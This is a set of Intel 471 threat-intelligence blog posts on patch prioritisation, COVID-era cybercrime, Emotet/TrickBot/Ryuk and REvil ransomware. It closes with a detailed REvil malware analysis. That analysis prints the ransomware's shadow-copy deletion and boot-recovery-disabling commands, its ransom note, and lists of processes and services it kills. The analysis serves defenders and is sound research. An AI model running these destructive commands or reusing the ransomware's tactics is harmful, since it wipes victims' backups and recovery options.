You need to adjust your patch priorities!

By the Intel 471 Intelligence Analysis team. Some business people might say the security folks don’t understand the dollar impact of taking a system offline. The reality is in business often time is money and quantifying the cost of key systems being taken offline is a real thing. Some security folks might also say that your business folks don’t understand or care about the risk or impact of a vulnerability being exploited. This is an age-old situation that pits two competing worlds where one side might be more comfortable with taking risks and the other tends to be more risk averse. Queue your cyber threat intelligence team…the perfect referee in this conversation. 

Patching decisions must be based on a solid (as possible) calculation of risk to your organization associated with a subject vulnerability. Everyone’s probably sick of hearing about the risk equation, but let’s revisit it just one more time for the sake of this conversation:

RISK = IMPACT * PROBABILITY / COST

Measuring impact and cost are often an internal facing exercise encompassing data that is readily available as long as the right people are at the table. We’re going to focus on measuring the more abstract concept of probability given a particular vulnerability. Some will focus on the vulnerabiliy’s CVSS score, but this is merely a standalone measure of severity of the vulnerability. There’s little to no context or business realities being taken into account with the CVSS. It’s simply not a measure of risk and even the CVSS 3.1 standard itself tells us we shouldn’t rely on it as a measure of risk: 

“The CVSS Specification Document has been updated to emphasize and clarify the fact that CVSS is designed to measure the severity of a vulnerability and should not be used alone to assess risk.”

Source: https://www.first.org/cvss/user-guide

Supporting an assessment of probability is the perfect situation to leverage Threat Intelligence. This is where some of your known unknowns become known. If you are asking your CTI team or vendors to support vulnerability management and patch prioritization you should be asking the below questions. If your CTI capability is not supporting vulnerability management and patch prioritization you need to ask why not!  

Intelligence requirements to support patch prioritization:

  • What is the level of interest in open sources, the underground and privately amongst cybercriminals?
  • Is proof-of-concept (POC) code being traded or for sale in the underground, in open sources or privately between cybercriminals?
  • Have attacks in the wild been observed?
  • Has the exploit been weaponized? 
  • Has an exploit been productized into a known exploitation framework or kit?

Lastly, some like to take volumetric keyword hits against vulnerability terms or CVEs, but the problem is this often lacks context. If you are truly going to have intelligence support to patch prioritization you need context – actual conversations amongst threat actors, assessments and history to assess threat actor capabilities and intent, etc. 

For example, here’s what we call a SPOTREP* that we sent out to our clients that would have been routed to anyone subscribed to our Vulnerability and Exploits General Intelligence Requirements (GIRs):

*A SPOTREP is a short succinct intelligence notice that relays a significant piece of information to analysts that may be considered time sensitive. 

We have a significant threat actor who has communicated to the market that a specific vulnerability was integrated into a widely used exploit kit. The barrier to entry to leverage this exploit dropped significantly. If this sort of data point and context doesn’t help drive the probability equation and assessment of risk in general then there may not be much else that will. This sort of information can be leveraged regularly and should be. Lean on your CTI teams and vendors to support the very important use-case of patch prioritization. CTI teams reach out to your vulnerability managers and show them how you can support their use-case and the business overall. 

Want to see an example of Vulnerability Intelligence? Please consider subscribing to our Periscope list and get a monthly version of Intel 471’s CVE Weaponization Report, which is curated by Intel 471 analysts who track the life cycle of vulnerabilities from initial disclosure to exploit weaponization and productization observed in the underground. You can read more about it here: www.intel471.com/periscope.html.

Lastly, we’re finalizing our Vulnerability Intelligence Splunk Application so please stay tuned on splunkbase.com for more information. It will be a Splunk version of our live Vulnerability Intelligence dashboard found in our Titan platform.  Here’s a teaser….

Changes in REvil ransomware version 2.2

By the Intel 471 Malware Intelligence team.

Summary

The REvil ransomware-as-a-service (RaaS) operation continues to impact businesses worldwide. The threat actors responsible for developing and maintaining the malware have released an updated ransomware, namely version 2.2. In this short blog post, we will cover the significant changes from the previous version, which we covered in detail in an earlier blog post (see: https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/).

Persistence mechanism

REvil ransomware persists on a machine if the arn configuration field is set to true. It writes its path to the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run. An example of the value name of the registry key entry is mjOObKp0yy.

In version 2.1, first collected by our systems March 15, 2020, this persistence mechanism was removed. It seems this little experiment didn’t go as planned, because the new version 2.2 brings the same persistence mechanism back!

Restart Manager to terminate processes

One of the more interesting new features of REvil version 2.2 is the use of the Windows Restart Manager to terminate processes and services that can lock files targeted for encryption. If a process has an open file handle for a specific file, then writes to that file by another process (in this case, a ransomware) it will be prevented by the Windows operating system (OS). To circumvent this, the REvil developers have implemented a technique using the Windows Restart Manager also used by other ransomware such as SamSam and LockerGoga (see: https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/).

REvil ransomware opens files for encryption with no sharing (dwShareMode equals 0). As a result, the Restart Manager is invoked whenever a sharing violation occurs when opening an already opened file.

The function prototype for rvl_restart_manager is:

VOID rvl_restart_manager(LPCWSTR Filename, BOOL DoEndSession)

The following explains how REvil employs this technique:

  • Call OpenSCManagerW to open the “ServicesActive” database. 
  • Start a new Restart Manager session by calling RmStartSession and save the returned handle in a global variable for future calls.
  • Invoke RmRegisterResources with the target file name to register it to the Restart Manager session.
  • Retrieve the list of all applications currently using the file by calling RmGetList. This application programming interface (API) returns an array of RM_PROCESS_INFO structures.
  • If a normal process is using the file, it is terminated by a call to TerminateProcess.
  • If a service is encountered, ControlService is invoked with the SERVICE_CONTROL_STOP control code to stop the service followed by a call to DeleteService.
  • If a critical process is encountered, its critical status is removed by calling ZwSetInformationProcess with the information class ProcessBreakOnTermination before terminating it. This may lead to undefined behavior on the victim system.

New ‘-silent’ flag

A new command-line option -silent was added that skips termination of blacklisted processes, services and shadow copy deletion. However, this flag does not impact the new Restart Manager functionality.

Indicators of compromise

ContextIndicator
REvil v2.2 sampleffe7fe45327645a48ca83b7dd4586de22618206001b7a7354d9d285e0308f195
REvil v2.2 sample774354fe16764fa513052ff714048858cb315691599a08d13ba56be1c796a16d

COVID-19 pandemic: Through the cybercriminal’s eyes

By the Intel 471 Intelligence team. Cybercriminals’ exploitation of the global Coronavirus Disease 2019 (COVID-19) pandemic (in phishing lures, for example) has been covered widely in the media. But one underreported aspect is how the coronavirus itself is impacting cybercrime actors, their activities and their infrastructure. Our research of the underground marketplace and these actors show that many of them have had their activities significantly disrupted, but they’re seeing some potential benefits as well. 

Disrupted money-mule networks, long waits for fraud calls

Since late March 2020, we observed several cybercriminals complaining about COVID-19 disrupting their operations. We’ve particularly noticed this with actors engaged in banking fraud. For example, one Russian-speaking actor running a fraud network complained about their subordinates (“money mules”) in Italy, Spain and other countries being unable to withdraw funds, since they currently were afraid to leave their homes. Also some actors have reported that banks’ customer-support lines are being overloaded, making it difficult for fraudsters to call them for social-engineering activities (such as changing account ownership, raising withdrawal limits, etc).

Some criminal reshipping services are also reporting difficulties, due to the increased wait time when calling FedEx or UPS or to increased law-enforcement scrutiny of the packages they’re shipping. In response, they’re raising their prices and warning of longer shipping times, which in turn could hamper the activities of other actors who depend on those services. 

Carding tanks…or does it?

You might have thought carding activity, to include support aspects such as checker services, would decrease due to both the global lockdown and threat actors being infected with COVID-19. We’ve even seen some actors suggest as much across some shops, but the reality is there have been no observations of major changes. 

The infamous actor JokerStash came out to explain his lack of availability and admitted being sick with pneumonia, but clarified it was not due to COVID-19 infection. We can confirm JokerStash and the shop he runs has seen a change in normal activity since November 2019, but we’re unsure of the reasons. Any decline in credit-card fraud activity might instead be due to the Russian Federal Security Service (FSB)’s recent dismantling of a hacking group implicated in stealing and selling compromised payment card data through more than “90 online shops.” The shops allegedly were associated with the Russian national Alexey Stroganov aka Flint24 and were covered extensively in open sources.

Actors claim infections

We’ve noted a few actors claiming to have been infected with COVID-19, although these claims obviously are difficult to verify (and it’s not as though cybercriminals have a reputation for being honest and trustworthy). In any case, none of those actors appeared to have altered their online behavior in any significant way, so if they were infected with COVID-19 it looks as though they recovered and have continued with business as usual.

Some cybercriminals see the upsides 

However, we observed other fraudsters state there are potential benefits to be gained from the pandemic, particularly since more businesses are moving to purely online sales. At least one actor has claimed this will make credit-card fraud easier (presumably due to more small businesses moving online). Another actor speculated the upcoming global economic recession (and resultant unemployment) will make it easier to recruit low-level accomplices such as money mules. So the future doesn’t seem all bleak for cybercriminals — although, as with the legitimate economy, there’s still a lot that remains to be seen.

Understanding the relationship between Emotet, Ryuk and TrickBot

By the Intel 471 Malware Intelligence team. One of the more notable relationships in the world of cybercrime is that between Emotet, Ryuk and TrickBot. This loader-ransomware-banker trifecta has wreaked havoc in the business world over the past two years, causing millions of dollars in damages and ransoms paid. Our Malware Intelligence team receives a lot of great questions from our clients on this subject, so we thought it would be good to do a Q/A style blog covering some of the more general questions. 

Most perspectives on Ryuk come from a threat-hunting or incident-response point of view. In contrast, Intel 471’s perspective is based on detailed knowledge of the malware itself and how it’s being used. Our Malware Intelligence offering provides our clients with near real-time visibility into malware activity at the controller level. This activity includes infrastructure updates, new module/plugin downloads, targets being added to injects or configs, and many other data points. 

Q: Are TrickBot campaigns operated by a single group?

A: TrickBot likely is operated by a single group as a malware-as-a-service (MaaS) platform that caters to a relatively small number of top-tier cybercriminals. Available information leads us to believe that individual TrickBot campaigns can be attributed to these different customers using the Group Tag (Gtag) parameter, and each customer may bring their own tactics, techniques and procedures (TTPs) and engage in highly targeted attacks.

Q: If multiple actors or groups are leveraging TrickBot, how is it possible to track the respective campaigns?

A: One technique is to focus on the Gtag parameter and map it to associated delivery methods. The Gtag value is hardcoded into each TrickBot sample and is thought to be a campaign identifier. For example, a Gtag could be “fred372,” where “fred” is the group ID and the numerical value is thought to be a specific campaign or wave that can be linked to a method of delivery. 

Q: How many different Gtag values are out there and why are they significant?

A: It’s difficult to say exactly how many unique Gtag values there are, but we can offer some observations based on about 18 months of technical tracking and 37,000 unique TrickBot samples. We’ve seen about 1,000 unique Gtag values, but if we focus on just the group ID , there are only 59 unique values. The majority of samples in our data set — more than 92% — can be attributed to just a handful of group IDs — jim, lib, ono, sat and tot.  

Furthermore, we can link the individual group IDs to specific spreading methods as previously mentioned. For example, It’s suspected that jimXX, libXX and totXX are primarily delivered by malspam. We know that every morXX-related sample we observed was delivered via Emotet. All samples attributed to sinXX, tinXX and winXX were delivered via Bokbot aka IcedID. Samples attributed to wmdXX seem to utilize several different loaders, such as Amadey, FastLoader and an unnamed loader. Lastly, satXX, summ1 and trg1 all utilized the Ostap JavaScript loader for delivery. 

Aside from the tracking perspective, Gtags also are significant from an incident response point of view. For example, if TrickBot samples are found in workstations and analysis shows them to be from morXX campaigns, getting rid of the TrickBot infection will not ensure the cleaning of the network, as there likely also will be Emotet binaries there.

Q: Are the Ryuk outbreaks connected with any specific Gtag?

A: Given the targeted and manual nature of Ryuk delivery, it’s difficult to gain sufficient visibility into the samples to link them to specific Trickbot Gtags and Ryuk ransomware. However, from privately shared information, it appears that some Gtags are linked to the post-exploitation and deployment of Ryuk ransomware. The Gtag most often associated with Ryuk is said to be morXX. However, while the “mor” Group ID only surfaced in September 2019, the Trickbot to Ryuk connection has been observed since at least January 2019, and reportedly has been seen via other Gtags since then. One of those Gtags is onoXX which reportedly was linked to Ryuk attacks by several organizations in public information reports. 

Q: Is there other specific behavior spotted with the morXX Gtag which has not been observed for other Gtag values?

A: Emotet malware typically is used as a loader for TrickBot campaigns, however, our monitoring registered 3 controller events — Feb. 7, 2020, April 1, 2020 and April 11  — where the roles were reversed and TrickBot Gtag morXX was used to download Emotet. Since August 2018 and across millions of controller events, we’ve not observed this behavior outside of these two examples. It suggests the actors behind morXX may have direct access to or some relationship with Emotet, however, the level and extent is unknown.

Q: It seems that in most of the Ryuk outbreaks, Emotet and TrickBot also were in the network. How does the chain work?

A: While it is true that many of the Ryuk incidents we’ve been privy to have involved both Emotet and TrickBot, it’s important to specify where in the chain Ryuk enters. Emotet often is the precursor to TrickBot being loaded onto the system. TrickBot then uses several modules to carry out various activities on the victim system, allow for lateral movement and allow utilities such as BloodHound, Cobalt Strike and/or Empire to be loaded manually by the operators. The deployment of Cobalt Strike does not appear to be automated, but instead is initiated on specific bots that match a profile. Once post-exploitation tools are loaded, the domain controller (DC) is attacked. When privileged access to the DC is acquired, Ryuk can be deployed across the network at the botnet operator’s will.

Q: What is the best way to protect from Ryuk?

A: The first order of business for any organization is to have good security hygiene, including but not limited to ongoing security monitoring, a detection strategy, and response and recovery. There are at least two opportunities to stop both Emotet and TrickBot before a Ryuk outbreak occurs. The first is to stop Emotet from downloading TrickBot. The second is to stop TrickBot from spreading across the network, or at least stop it from communicating back to its command and control servers.

Once TrickBot has identified a domain controller on the network, the network defender is racing against the clock. If the infected machine is on a small-to-medium-sized business network, there is a very good chance threat actors will attack the domain controller and deploy Ryuk. Unfortunately, defensive measures such as anti-virus agents are unlikely to stop Ryuk, since the attacker can easily disable them  (i.e., via a group policy object (GPO)). 

Q: So, based on the capabilities of TrickBot mentioned above, is it still accurate to call it a banking trojan?

While TrickBot essentially is a banking trojan, the ability to extend its features by adding additional modules distinctly enhanced opportunities for groups running malware operations. Over the years we’ve seen TrickBot evolve from being a banker to an “all of the above” malware using case-specific modules.

Before the widespread use of ransomware, the actors behind Trickbot were engaged in fraudulent money transfer operations. The objective was to mass-infect as many computers as possible and look for high-value targets — individuals with high-balance bank accounts or small businesses. Using the banking trojan and web-injects, the botnet operators could make money transfers to money-mule accounts and then proceed to cash out. There are two problems with this operation:  

  1. Banks are getting better at detecting fraudulent transactions and eliminating money mule accounts.
  2. These operations are high maintenance and very costly to operate because of the need to manage money mules, update web-injects, and maintain both the botnet infrastructure and the constant supply of new bots from new campaigns. While many of these things can be outsourced, each “partner” comes with added cost and risk. 

With ransomware, the goals of the adversary remain the same, but the path to clean, laundered money is much shorter. Instead of dealing with money mules and bypassing access restrictions on banking accounts, the adversary convinces the victim to pay them directly in bitcoins. Attackers no longer need to understand the intricacies of financial systems, since there now is a single blueprint that fits many targets: Find the domain controller and you have the keys to a network. 

Q. What is the outlook for ransomware?

We’ve seen a number of things transpire in the world of cybercrime over the past three years as ransomware has taken the top spot for most lucrative malicious endeavors.

  • The 2016 U.S. presidential election showed the world the power of exposing sensitive data and there’s no doubt ransomware operators and developers were watching. It’s now commonplace to see ransomware groups use blackmail tactics to compel victims to pay the ransom, while maintaining blogs to expose non-paying victims. In late 2019, the Maze ransomware team was the first to release data from non-paying ransomware victims, but the tactic subsequently was replicated by several ransomware-as-a-service (RaaS) operators. Intel 471 observed this tactic implemented by others, such as DoppelPaymer, MegaCortex, Nemty and REvil aka Sodinokibi. We’ll continue to see this trend, giving companies yet another thing to worry about as they navigate the ransomware threat both to them directly, and the risk it brings them via their third-party vendors and suppliers.  
  • Emotet, Ryuk and Trickbot are by no means the only tools that team up to deliver ransomware. We’ve also observed connections between some Dridex and DanaBot actors, likely for ransomware delivery. MaaS operations cannot be written off as merely “commodity” malware, since their client pool includes very skilled groups that can and will cause serious damage if allowed to do so.
  • Ransomware has helped revamp and boost a submarket where criminals can crowdsource the identification of potential targets. The sale of compromised accesses is nothing new in the underground marketplace, however, over the past 18 months there’s been an explosion of such sales by actors ranging in sophistication from inexperienced to highly knowledgeable. Ransoms over the past three years have skyrocketed and now are in the millions in some cases, making ransomware operations a very lucrative activity. Purchasing a simple remote desktop protocol (RDP) access for thousands of dollars will provide a return on investment (ROI) for both sides of the sale. As malware-based vectors are considered, so too must the accesses being obtained through simple account takeovers or other means.

REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation

By the Intel 471 Malware Intelligence team.

Summary

REvil aka Sodinokibi, Sodin is a ransomware family operated as a ransomware-as-a-service (RaaS). Deployments of REvil first were observed in April 2019, where attackers leveraged a vulnerability in Oracle WebLogic servers tracked as CVE-2019-2725.

REvil is highly configurable and allows operators to customize the way it behaves on the infected host. Some of its features include: 

  • Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. 
  • Whitelists files, folders and extensions from encryption. 
  • Kills specific processes and services prior to encryption. 
  • Encrypts files on local and network storage. 
  • Customizes the name and body of the ransom note, and the contents of the background image. 
  • Exfiltrates encrypted information on the infected host to remote controllers.
  • REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers.

Capabilities Overview

  • Ransomware.

Behaviour Overview

  • Uses a persistence mechanism.
  • Encrypts additional resources.
  • Supports privilege escalation.

Adversary intelligence

Developers

REvil ransomware first was advertised on a Russian language cybercrime forum in June 2019. The main actor associated with advertising and promoting REvil ransomware is called Unknown aka UNKN. The RaaS is operated as an affiliate service, where affiliates spread the malware by acquiring victims and the REvil operators maintain the malware and payment infrastructure. Affiliates receive 60% to 70% of the ransom payment. 

Due to source code and behavior similarities between REvil and GandCrab, it was suggested there might be a connection tying the developers of the two ransomware families together. In addition to the similarities in the code, supplemental evidence tying GandCrab and REvil together is that GandGrab officially “retired” just before REvil appeared in the wild. REvil is maintained actively and is under constant development, just as GandCrab was. The most recent REvil ransomware at the time of this report was version 2.1.

The actor Unknown acknowledged the public reports linking REvil to GandCrab with the following statement:

“We used to be affiliates of the (GandCrab) affiliate program. We bought the source code and started our own business. We developed custom features for our purposes”

Despite the plausible alibi given by actor Unknown, the evidence suggests that REvil is a continuation of the GandCrab RaaS operation with new software, but operated by the same individuals. 

The actors behind REvil include their master public key in all REvil binaries. Therefore, they are able to decrypt the files independently of the affiliates running the campaigns.

Operators

REvil is a RaaS, in the sense that a single group operates and manages the development of the ransomware while access is sold to affiliates. A field in the configuration file named pid is used to identify the affiliate that the sample belongs to. We have confirmed that a field in the malware configuration named sub is used to identify affiliate campaigns, and not the affiliates themselves, as frequently is reported. In addition, the attacker’s public key can identify the same operator when used across multiple samples.

Two prominent users on the aforementioned Russian language cybercrime forum vouched for Unknown’s ransomware service:

  • kerberos – A moderator on the aforementioned forum and long-standing cybercriminal.
  • lalartu – A cybercrime actor known to participate in GandCrab and REvil ransomware affiliate programs.

The actor lalartu’s personal information possibly was released for malicious purposes or “doxxed” by an information security researcher known as UnderTheBreach (see: https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80). We have not been able to verify the conclusions asserted in this post.

Infrastructure

REvil ransomware configurations contain more than 1,000 controllers. Interestingly, the live domains we verified all were WordPress websites, so it is probable they might be compromised by the operators or purchased from other cybercriminals.

The configuration also contains domain names that were not registered at the time of this report, for example:

$ whois andersongilmour[.]co[.]uk

No match for “andersongilmour[.]co[.]uk.”

This domain name was not registered at the time of this report.

It is likely most of the domains present in the configuration are decoys, with only a few real REvil controllers scattered inside the list.

Detection

This section describes the methods used to detect a REvil sample.

Static Detection

Unpacked REvil samples can be detected statically by looking up patterns in the code and in cryptographic functions used by the ransomware.

Dynamic Detection

Dynamic detection of REvil samples is possible by running Yara signatures on the memory resident image. In addition, the ransomware creates the following interesting artifacts:

  • A .txt file with a ransom note on each directory encrypted by the ransomware.
  • A .bmp image in the temporary directory set as the desktop background after the encryption.
  • A registry key SOFTWARE which can be present under either HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER.
  • An alphanumeric file extension between 5 and 10 characters in length appended to the original extension of an encrypted file.

Yara Signatures

We decided not to release Yara signatures to avoid burning them and affecting the work of other researchers. However, we will release them to network defenders and infosec professionals upon request. Email us at revil-yara-reqREMOVEME@intel471[.]com (remove the “REMOVEME” text from the email address) from your corporate email address (for validation purposes only) and we will send through our Yara signatures.

Exploits

REvil ransomware exploits a kernel privilege escalation vulnerability in win32k.sys tracked as CVE-2018-8453 to gain SYSTEM privileges on the infected host. If the configuration instructs a sample to execute this exploit, it will allocate executable memory, decrypt the exploit code in the newly allocated region and invoke it.

The screenshot below shows the window name sysshadow and the application programming interface (API) DestroyWindow inside the embedded exploit, proving it is the CVE-2018-8453 vulnerability.

Open Source Intelligence (OSINT)

For more information on REvil, we suggest the following public resources:

Static Analysis

REvil ransomware incorporates techniques to make the task of static analysis more difficult for an analyst. Most of the strings used during execution are decrypted at runtime only when needed. In addition, the imports are resolved dynamically from 32-bit hashes and placed into global variables early in execution.

Hard-coded Strings

Very few strings are hard coded inside REvil ransomware samples and the most interesting are:

  • L“ServicesActive”: This string is passed to the OpenSCManagerW API to retrieve active services.
  • “expand 32-byte kexpand 16-byte”: The constants used by the Salsa20 symmetric encryption algorithm.

String Encryption

REvil ransomware decrypts most of the strings it uses during execution at runtime.

As the screenshot above reveals, these strings are Rivest Cipher 4 (RC4) encrypted and are decrypted using a function we renamed to rc4_decrypt_string. Below is its prototype and the meaning of each parameter:

void rc4_decrypt_string(BYTE *rc4_array, int rc4_key_offset, int rc4_key_length, int buffer_length, BYTE *out_buffer)

  • rc4_array: A pointer to a contiguous array in the .data section containing the RC4 keys and the encrypted strings. Each RC4 key is followed directly by the string it decrypts.
  • rc4_key_offset: The offset to the RC4 key within the array.
  • rc4_key_length: The length of the RC4 key.
  • buffer_length: The length of the RC4 encrypted buffer.
  • out_buffer: Pre-allocated memory or stack space where the decrypted string is copied.

The image below shows the layout of two adjacent elements of the array:

The decrypted strings are not terminated by NULL characters, therefore, the code must terminate these strings explicitly.

Malware Behavior

The behavior of the following samples was analyzed for this report:

SampleSHA256
REvil packed6953d86d09cb8ed34856b56f71421471718ea923cd12c1e72224356756db2ef1
REvil not packed372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc
REvil not packedec0c653d5e10fec936dae340bf97c88f153cc0cdf7079632a38a19c876f3c4fe

Process Execution

During its initialization phase, REvil starts by dynamically resolving the imports it needs to function correctly. This is accomplished in a loop that reads hard-coded 32-bit values from an array in the .data section, then each value is decoded and resolved to the correct API by the responsible function rvl_resolve_api. Then the 32-bit value is overwritten with the pointer to the API.

As shown in the disassembly above, additional APIs are resolved by their names with the help of the GetProcAddress API.

With everything in place, REvil creates a global mutual exclusion object (mutex) with a hard-coded name i.e., Global\1DE3C565-E22C-8190-7A66-494816E6C5F5. This is used to ensure only a single instance of the ransomware sample is running.

The REvil ransomware always attempts to run with elevated privileges and does so using two techniques. One technique relies on exploiting the CVE-2018-8453 vulnerability to gain SYSTEM privileges on the host. However, to determine whether it should execute the exploit or not, REvil checks its configuration. Another technique always is executed if the process is not elevated. It relies on calling ShellExecuteW to prompt the user to run the sample as an administrator. This is accomplished in an infinite loop until the user agrees to run the elevated process. Starting with version 2.1, the privilege escalation exploit code was removed.

REvil’s configuration is in JavaScript Object Notation (JSON) and is initially RC4 encrypted. It is stored in the following fashion at the beginning of a portable executable (PE) section named .yhwfq9:

It is important to mention the cyclic redundancy check (CRC32) value is calculated and validated for the encrypted configuration.

After decrypting the configuration in dynamically allocated memory, REvil parses it using the open-source json-parser C library (see: https://github.com/udp/json-parser). For an example of a REvil configuration, see the Appendix section below.

The first JSON field checked is exp, which can be true or false and indicates whether the CVE-2018-8453 vulnerability should be exploited. If the exploit isn’t executed or failed, REvil resorts to the second technique previously described in this section.

When REvil executes with higher privileges, it starts its main initialization phase where it reads the necessary JSON fields into the .data section and initializes registry values inside a new subkey named SOFTWARE. When doing registry operations in general, REvil first tries to use the HKEY_LOCAL_MACHINE hive and it switches to use HKEY_CURRENT_USER only if that fails. The configuration fields, registry keys and their values are described in the below Configuration section.

The other important task in this phase is filling the ransom note template, which is present in base64 inside the configuration field nbody.

---=== Welcome. Again. ===---

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension {EXT}.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!
  a) Download and install TOR browser from this site: https://torproject.org/
  b) Open our website: hxxp://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion/{UID}

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
  a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
  b) Open our secondary website: hxxp://decryptor[.]cc/{UID}

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:
Key:

{KEY}


Extension name:

{EXT}

-----------------------------------------------------------------------------------------

!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!! !!! !!!
ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!

REvil fills this template with a file extension (EXT), a user identifier (UID) and a key (KEY):

  • The extension is generated randomly from alphanumeric characters and is between 5 and 10 characters in length.
  • The user identifier is a hardware ID generated from the main volume’s serial number and the system’s CPU information. This ID is calculated as follows:
    • Retrieve the main volume 32-bit serial number.
    • Generate a CRC32 checksum of the volume serial with a seed value equal to 1337.
    • Retrieve central processing unit (CPU) information i.e., “Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz.”
    • Generate a CRC32 checksum of the CPU information string with the volume serial CRC32 hash as a seed value.
    • Concatenate the CPU information CRC32 hash with the volume serial number into a 16-byte hexadecimal string i.e., 8100F233BC097E90.
  • The key submitted by the victim to the operator through the website is a JSON string:

{
    "ver":"%d", #  REvil's version: hard coded to 0x200 (v2.00).
    "pid":"%s", #  The "pid" field in the configuration.
    "sub":"%s", #  The "sub" field in the configuration.
    "pk":"%s",  # The public key "pk" field in the configuration.
    "uid":"%s", #  The hardware ID.
    "sk":"%s",  # The victim's generated secret key encrypted with the  "pk" public key. This key is necessary for decryption.
    "unm":"%s", #  The username of the Windows account.
    "net":"%s", #  The computer name.
    "grp":"%s", #  The domain name.
    "lng":"%s", #  Language i.e., "fr-FR".
    "bro":%s,   # "true" or "false". Is immune to infection, whitelisted language and keyboard layout.
    "os":"%s",  # Windows product name.
    "bit":%d,   # CPU architecture: 86 or 64.
    "dsk":"%s", #  A base64 encoded structure with information on the mounted volumes.
    "ext":"%s"  # The encrypted files extension i.e., ".g19b9wy"
}

This is encrypted with a hard-coded public key in the binary code before it is stored in the registry and the template. It also is communicated to the controllers later in execution. See the Encryption section below for information on how REvil encrypts data.

Next, REvil checks the configuration field dbg to see if it’s running in debug mode. If that is not the case, geolocation checks based on the system’s language and the keyboard layout are conducted so the ransomware does not attempt to encrypt files on whitelisted systems. The following are whitelisted system language IDs for the analyzed sample:

The whitelisted keyboard layouts include:

  • Romanian
  • Russian
  • Ukrainian
  • Belarusian
  • Estonian
  • Latvian
  • Lithuanian
  • Tajik
  • Persian
  • Armenian
  • Azerbaijani
  • Georgian
  • Kazakh
  • Kyrgyz
  • Turkmen
  • Uzbek
  • Tatar

For the check to succeed and REvil to exit, both a whitelisted system language and a whitelisted keyboard layout must be present. Otherwise, the ransomware continues its execution normally.

At this stage, REvil performs the following actions before starting the encryption. First, it will try to stop and delete services if the names match one of the regular expressions in the svc JSON configuration list, for example:

"svc":[
      "memtas",
      "crm",
      "quickbooks",
      "svc$",
      "veeam",
      "oracle",
      "mepocs",
      "exchange",
      "pos",
      "vss",
      "sql",
      "backup",
      "qb",
      "sophos",
      "sage"
]

Then it will terminate all processes with names that match the elements of the prc JSON array, for instance:

"prc":[
      "w3wp",
      "thunderbird",
      "mydesktopqos",
      "powerpnt",
      "outlook",
      "srv",
      "infopath",
      "msaccess",
      "ocautoupds"
]

Finally REvil will delete the volume shadow copies. The way this is accomplished depends on the Windows version:

  • Windows versions 5.1 and earlier:

cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

  • Windows versions 5.2 and later, under PowerShell:

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

At this stage, REvil enters the file encryption phase. It is possible to run REvil with command-line arguments that will impact how encryption is carried out. The following table describes these arguments:

ArgumentDescription
-fullEncrypts all the data in the target files.
-fastOnly encrypts the first MB of each file. Mutually exclusive with the -full argument.
-pathRecursively encrypts the files inside a single directory specified after the argument. The desktop background image remains unchanged when this argument is supplied.
-nolanDoes not encrypt files on shared network storage.
-nolocalDoes not encrypt files on local storage.

Two values that the et configuration field can take are equivalent to the command-line arguments -full and -fast. Additionally, the presence of one of these command-line arguments overrides the value of this field. Below are the values this field can take with a description of each value:

Encryption type valuesDescription
0Equivalent to the command-line argument -full
1Equivalent to the command-line argument -fast
2Encrypts 1 MB then skips the number of MBs supplied in the spsize field repeatedly, until the end of the file is reached.

Before encrypting a file or directory, REvil determines whether its name matches any entry in the whitelist configuration entries. The whitelisted folders, files and extensions are lists stored in the wht JSON configuration field as fld, fls and ext.

REvil ransomware also avoids encrypting a file more than once by determining if it previously was encrypted. This is achieved by examining whether the metadata it stores at the end of encrypted files exists.

To encrypt the files, REvil relies on multithreading and input/output (I/O) completion ports, allowing it to perform asynchronous I/O and process multiple files simultaneously.

Each file is encrypted with a different key derived from a single public key linked to the victim. See the Encryption section below for details on how REvil implements file encryption.

After the encryption is complete, REvil generates a bitmap image and sets it as the desktop background.

Afterward, REvil ransomware reads the Boolean configuration field net to determine whether it should communicate with its controllers. See the Communications section below for more details.

Finally, REvil ransomware marks its binary code for deletion during the next reboot and terminates execution.

Configuration

The table below describes each field of the REvil JSON configuration:

ArgumentDescription
pkThe attacker’s public key encoded in base64.
pidThe affiliate ID. In v2.0 and earlier, this was an integer. From 2.1 it became a Bcrypt hash.
subAn integer value. The campaign identifier.
dbgBoolean value that determines if REvil should run in debug mode.
etAn integer value specifying the encryption type.- 0: Fast encryption.  – 1: Full encryption. – 2: Encrypt 1 MB then skip the number of MBs specified by the spsize field.
spsizeSpecifies the number of MBs to skip when the encryption type is 2.
wipeA Boolean value that indicates whether REvil should wipe folders specified in the wfld element. We have not seen this option implemented in the analyzed samples.
wfldThe folders to be wiped by REvil.
whtContains three lists of elements that REvil will not encrypt: – fld: Whitelisted folders. – fls: Whitelisted files. – ext: Whitelisted extensions.
prcA list of regular expressions that REvil matches against processes to terminate them.
netIf this Boolean value is set to true, REvil communicates with its controllers.
dmnA string of controllers separated by a semicolon.
